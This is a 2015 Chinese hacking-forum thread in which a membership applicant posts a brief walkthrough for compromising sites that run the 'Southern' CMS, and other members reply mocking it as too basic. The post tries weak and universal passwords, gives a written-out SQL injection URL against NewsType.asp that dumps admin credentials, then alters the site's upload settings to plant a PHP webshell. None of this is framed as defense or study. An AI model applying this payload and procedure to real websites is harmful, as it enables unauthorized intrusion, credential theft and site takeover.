安全渗透

发表于 2015-8-26 22:35:27

没有录制视频

我简单说一下好吗

南方站点找到后台首先弱口令不行试下万能密码

还是不行就用通用漏洞 0day
NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''='

爆出账户口令然后登入后台
一般南方站点会禁止掉asa  asp  php 这些文件上传
接下来  我们需要利用审查元素

把其中一个改成siteconfig 网站配置  进去里面添加asa  php 允许上传类型
之后找到上传点直接上传php大马一般是成功的
可以抓包拿到webshell

希望加入90 好好学习  谢谢

================
没有内容，太过简单，不予通过。

发表于 2015-8-26 22:44:13

太简单了，不用心呀，哈哈

发表于 2015-8-27 07:51:41

这玩意儿要是能通过，我管他叫爹。。。。

发表于 2015-8-27 08:02:02

一没图，二没waf可过，三十南方站点常规流程。总结：90sec不是你想象中的娱乐场所。

发表于 2015-8-27 09:52:50

这样的都来申请？

发表于 2015-8-27 10:34:37

也是醉了。这玩意儿也好意思拿来申请。。。牛逼

发表于 2015-8-27 10:53:57

有玩意思

发表于 2015-8-27 11:56:26

激起了本尊浓浓的吐槽欲望~~~~~~~

发表于 2015-8-27 20:15:31

...........都是从小白到牛总要有个过程的

发表于 2015-8-28 11:10:17

哈哈，确实是比较简单，都是最最基础的。

发表于 2015-8-28 11:11:18

这位申请的楼主增加些提权的内容也许就通过了呢

[【未通过】] 安全渗透